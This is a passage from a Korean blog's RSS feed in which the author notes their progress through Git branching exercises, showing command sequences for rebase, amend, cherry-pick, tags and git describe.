data-origin-width=&quot;913&quot; data-origin-height=&quot;487&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;솔직히 잘 감이 안 오는...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ㅠㅠ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Bu28X/dJMcaflFAXC/lrnMHvtbDyik1hZUy3X0yK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Bu28X/dJMcaflFAXC/lrnMHvtbDyik1hZUy3X0yK/img.png&quot; data-origin-width=&quot;332&quot; data-origin-height=&quot;546&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;44.99&quot; style=&quot;width: 44.4659%; margin-right: 10px;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Bu28X/dJMcaflFAXC/lrnMHvtbDyik1hZUy3X0yK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBu28X%2FdJMcaflFAXC%2FlrnMHvtbDyik1hZUy3X0yK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;332&quot; height=&quot;546&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/n3q1j/dJMcaa5Jw2J/J6NjnrUySUzk2CIeHfdbT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/n3q1j/dJMcaa5Jw2J/J6NjnrUySUzk2CIeHfdbT0/img.png&quot; data-origin-width=&quot;487&quot; data-origin-height=&quot;655&quot; data-is-animation=&quot;false&quot; style=&quot;width: 54.3713%;&quot; data-widthpercent=&quot;55.01&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/n3q1j/dJMcaa5Jw2J/J6NjnrUySUzk2CIeHfdbT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fn3q1j%2FdJMcaa5Jw2J%2FJ6NjnrUySUzk2CIeHfdbT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;487&quot; height=&quot;655&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774322167790&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git rebase -i HEAD~2
git commit --amend
git rebase -i HEAD~2
git branch -f main caption&lt;/code&gt;&lt;/pre&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-path-to-node=&quot;13,1&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,1,0,0&quot;&gt;꺼내고&lt;/b&gt; (rebase -i)&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,1,1,0&quot;&gt;고치고&lt;/b&gt; (amend)&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,1,2,0&quot;&gt;집어넣고&lt;/b&gt; (rebase -i)&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,1,3,0&quot;&gt;이름표 붙이기&lt;/b&gt; (branch -f)&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정정할 커밋이 바로 직전에 있다면, 간단히 --amend로 수정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그다음 원래 순서대로 돌려놓기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;커밋 갖고 놀기 #2&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/w80Bq/dJMcadH6FVS/MCvqOlYkVNOnxNnMTdNgQ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/w80Bq/dJMcadH6FVS/MCvqOlYkVNOnxNnMTdNgQ0/img.png&quot; data-origin-width=&quot;276&quot; data-origin-height=&quot;393&quot; data-is-animation=&quot;false&quot; style=&quot;width: 48.3901%; margin-right: 10px;&quot; data-widthpercent=&quot;48.96&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/w80Bq/dJMcadH6FVS/MCvqOlYkVNOnxNnMTdNgQ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fw80Bq%2FdJMcadH6FVS%2FMCvqOlYkVNOnxNnMTdNgQ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;276&quot; height=&quot;393&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boEIOi/dJMcabQ5H9m/2SY3R5QcOfnXnYkOmXxE11/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boEIOi/dJMcabQ5H9m/2SY3R5QcOfnXnYkOmXxE11/img.png&quot; data-origin-width=&quot;492&quot; data-origin-height=&quot;672&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;51.04&quot; style=&quot;width: 50.4471%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boEIOi/dJMcabQ5H9m/2SY3R5QcOfnXnYkOmXxE11/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboEIOi%2FdJMcabQ5H9m%2F2SY3R5QcOfnXnYkOmXxE11%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;492&quot; height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774323967509&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git cherry-pick C2
git cherry-pick C2
git checkout main
git cherry-pick C2 C3&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;Git 태그&lt;br /&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브랜치는 이동하기 쉬움&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브랜치는 쉽게 변하며 임시적인 것 ! 항상 바뀜&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로젝트의 작업 이력에서 중요한 지정들에 영구적으로 표시를 할 방법~!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;=&amp;gt; git 태그&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt; Git 태그는 커밋들이 추가적으로 생성되어도 절대 움직이지 않음&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&quot;체크아웃&quot;한 후에 그 태그에서 어떤 작업을 완료할 수 없음&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt; 태그는 커밋 트리에서 특정 지점을 표시하기위한 닻같은 역할을 함 !&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1774324291826&quot; class=&quot;crmsh&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;git tag v1 C1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/u708R/dJMcaiCFIqr/ACU4sUHQ3M7rnKtIhpVUA0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/u708R/dJMcaiCFIqr/ACU4sUHQ3M7rnKtIhpVUA0/img.png&quot; data-origin-width=&quot;394&quot; data-origin-height=&quot;395&quot; data-is-animation=&quot;false&quot; style=&quot;width: 52.5712%; margin-right: 10px;&quot; data-widthpercent=&quot;53.19&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/u708R/dJMcaiCFIqr/ACU4sUHQ3M7rnKtIhpVUA0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fu708R%2FdJMcaiCFIqr%2FACU4sUHQ3M7rnKtIhpVUA0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;394&quot; height=&quot;395&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzkCo5/dJMcahRja4n/MR9I04JmhXGZQo9D63mu9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzkCo5/dJMcahRja4n/MR9I04JmhXGZQo9D63mu9K/img.png&quot; data-origin-width=&quot;503&quot; data-origin-height=&quot;573&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;46.81&quot; style=&quot;width: 46.266%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzkCo5/dJMcahRja4n/MR9I04JmhXGZQo9D63mu9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzkCo5%2FdJMcahRja4n%2FMR9I04JmhXGZQo9D63mu9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;503&quot; height=&quot;573&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774324743030&quot; class=&quot;crmsh&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;git checkout C1
git tag v1 C2
git tag v0 C1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;Git Describe&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커밋 트리에서 태그가 닻 역할을 해주기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;git에는 태그에 비해 상대적으로 어디에 위치해있는지 묘사해주는 명령어&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;916&quot; data-origin-height=&quot;397&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5ciVA/dJMcaf61El1/gvrc5pBUu7JvSuXGTTJPx0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5ciVA/dJMcaf61El1/gvrc5pBUu7JvSuXGTTJPx0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5ciVA/dJMcaf61El1/gvrc5pBUu7JvSuXGTTJPx0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5ciVA%2FdJMcaf61El1%2Fgvrc5pBUu7JvSuXGTTJPx0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;916&quot; height=&quot;397&quot; data-origin-width=&quot;916&quot; data-origin-height=&quot;397&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oLl5j/dJMcacCumLf/eAYMuKBzOTUK17B3DgcaEK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oLl5j/dJMcacCumLf/eAYMuKBzOTUK17B3DgcaEK/img.png&quot; data-origin-width=&quot;430&quot; data-origin-height=&quot;604&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;48.34&quot; style=&quot;width: 47.7798%; margin-right: 10px;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oLl5j/dJMcacCumLf/eAYMuKBzOTUK17B3DgcaEK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoLl5j%2FdJMcacCumLf%2FeAYMuKBzOTUK17B3DgcaEK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;430&quot; height=&quot;604&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HRXh6/dJMcagkyIKG/N2SnRMLNb2YKKy0QCTYolk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HRXh6/dJMcagkyIKG/N2SnRMLNb2YKKy0QCTYolk/img.png&quot; data-origin-width=&quot;442&quot; data-origin-height=&quot;581&quot; data-is-animation=&quot;false&quot; style=&quot;width: 51.0574%;&quot; data-widthpercent=&quot;51.66&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HRXh6/dJMcagkyIKG/N2SnRMLNb2YKKy0QCTYolk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHRXh6%2FdJMcagkyIKG%2FN2SnRMLNb2YKKy0QCTYolk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;442&quot; height=&quot;581&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1774325136931&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git commit&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;460&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dBAmBi/dJMcabjieSE/OH1pT41QskQaRPLPlWysC0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dBAmBi/dJMcabjieSE/OH1pT41QskQaRPLPlWysC0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dBAmBi/dJMcabjieSE/OH1pT41QskQaRPLPlWysC0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdBAmBi%2FdJMcabjieSE%2FOH1pT41QskQaRPLPlWysC0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;736&quot; height=&quot;460&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;460&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생각보다 오래걸리네요..;;;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(한시간이면 될 줄 알았음)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 글로 다시 오겟슨니다...&lt;/p&gt;</description>
      <category> &amp;zwj; 양송이 Git 스프</category>
      <author>곰젤리마스터</author>
      <guid isPermaLink="true">https://gummybearsong.tistory.com/13</guid>
      <comments>https://gummybearsong.tistory.com/13#entry13comment</comments>
      <pubDate>Tue, 24 Mar 2026 13:13:33 +0900</pubDate>
    </item>
    <item>
      <title>작업을 여기저기로 옮기기</title>
      <link>https://gummybearsong.tistory.com/12</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;이때까지는 기초일 뿐이었다!!!&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;414&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOmkqf/dJMcafzcAyX/UTeJUJQ3uhqkuoc02mhY3K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOmkqf/dJMcafzcAyX/UTeJUJQ3uhqkuoc02mhY3K/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOmkqf/dJMcafzcAyX/UTeJUJQ3uhqkuoc02mhY3K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOmkqf%2FdJMcafzcAyX%2FUTeJUJQ3uhqkuoc02mhY3K%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;565&quot; height=&quot;414&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;414&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;흠 ... 이제 진짜 시작인가본데 ...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;908&quot; data-origin-height=&quot;286&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dsPUs3/dJMcaiimMiR/33k5AeBNuOSrqPw7seAzL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dsPUs3/dJMcaiimMiR/33k5AeBNuOSrqPw7seAzL1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dsPUs3/dJMcaiimMiR/33k5AeBNuOSrqPw7seAzL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdsPUs3%2FdJMcaiimMiR%2F33k5AeBNuOSrqPw7seAzL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;908&quot; height=&quot;286&quot; data-origin-width=&quot;908&quot; data-origin-height=&quot;286&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래도 이때까지 배운 것들만으로&amp;nbsp; 90퍼 이상을 할 수 있다구 하네요&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(이걸로??)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 심화적인 나머지 10퍼센트의 부분을 해볼 거래요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;음하하하&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;작업을 여기저기로 옮기기&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774229686030&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git cherry-pick &amp;lt;Commit 1&amp;gt; &amp;lt;Commit 2&amp;gt; &amp;lt;...&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 위치 아래에 있는 일련의 커밋들에 대한 복사본을 만들겠다는 것을 줄인 말이라구 하네엽&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;.. 이 웹사이트 제작자는 cherry-pick 기능을 아주좋아한대요 &amp;lt; ㄹㅇ 이것까진 안궁금함&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nK70n/dJMcafeVbzp/wtuExFbXnvswRG79Jenu5k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nK70n/dJMcafeVbzp/wtuExFbXnvswRG79Jenu5k/img.png&quot; data-origin-width=&quot;908&quot; data-origin-height=&quot;578&quot; data-is-animation=&quot;false&quot; style=&quot;width: 49.1448%; margin-right: 10px;&quot; data-widthpercent=&quot;49.72&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nK70n/dJMcafeVbzp/wtuExFbXnvswRG79Jenu5k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnK70n%2FdJMcafeVbzp%2FwtuExFbXnvswRG79Jenu5k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;908&quot; height=&quot;578&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c81NBb/dJMcafzcAOd/Qmmhwk5vxCV9fsFK3hG7r1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c81NBb/dJMcafzcAOd/Qmmhwk5vxCV9fsFK3hG7r1/img.png&quot; data-origin-width=&quot;907&quot; data-origin-height=&quot;571&quot; data-is-animation=&quot;false&quot; style=&quot;width: 49.6924%;&quot; data-widthpercent=&quot;50.28&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c81NBb/dJMcafzcAOd/Qmmhwk5vxCV9fsFK3hG7r1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc81NBb%2FdJMcafzcAOd%2FQmmhwk5vxCV9fsFK3hG7r1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;907&quot; height=&quot;571&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 식으루 하면 된다네욤 !!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바로 복붙이 된 걸 확인할 수 있져&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우리의 목표(왼) 이렇게 만들어야한대요!! 오른쪽에 있는 구조를...&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eIfEFA/dJMcadnNwls/SBLDxt1rP3wE72hSJN5yzK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eIfEFA/dJMcadnNwls/SBLDxt1rP3wE72hSJN5yzK/img.png&quot; data-origin-width=&quot;491&quot; data-origin-height=&quot;629&quot; data-is-animation=&quot;false&quot; width=&quot;382&quot; height=&quot;489&quot; data-widthpercent=&quot;44.19&quot; style=&quot;width: 43.6783%; margin-right: 10px;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eIfEFA/dJMcadnNwls/SBLDxt1rP3wE72hSJN5yzK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeIfEFA%2FdJMcadnNwls%2FSBLDxt1rP3wE72hSJN5yzK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;491&quot; height=&quot;629&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2y1hK/dJMb99Mtu4a/YJLiWo9arUlgCDXcMvz3I1/img.png&quot; 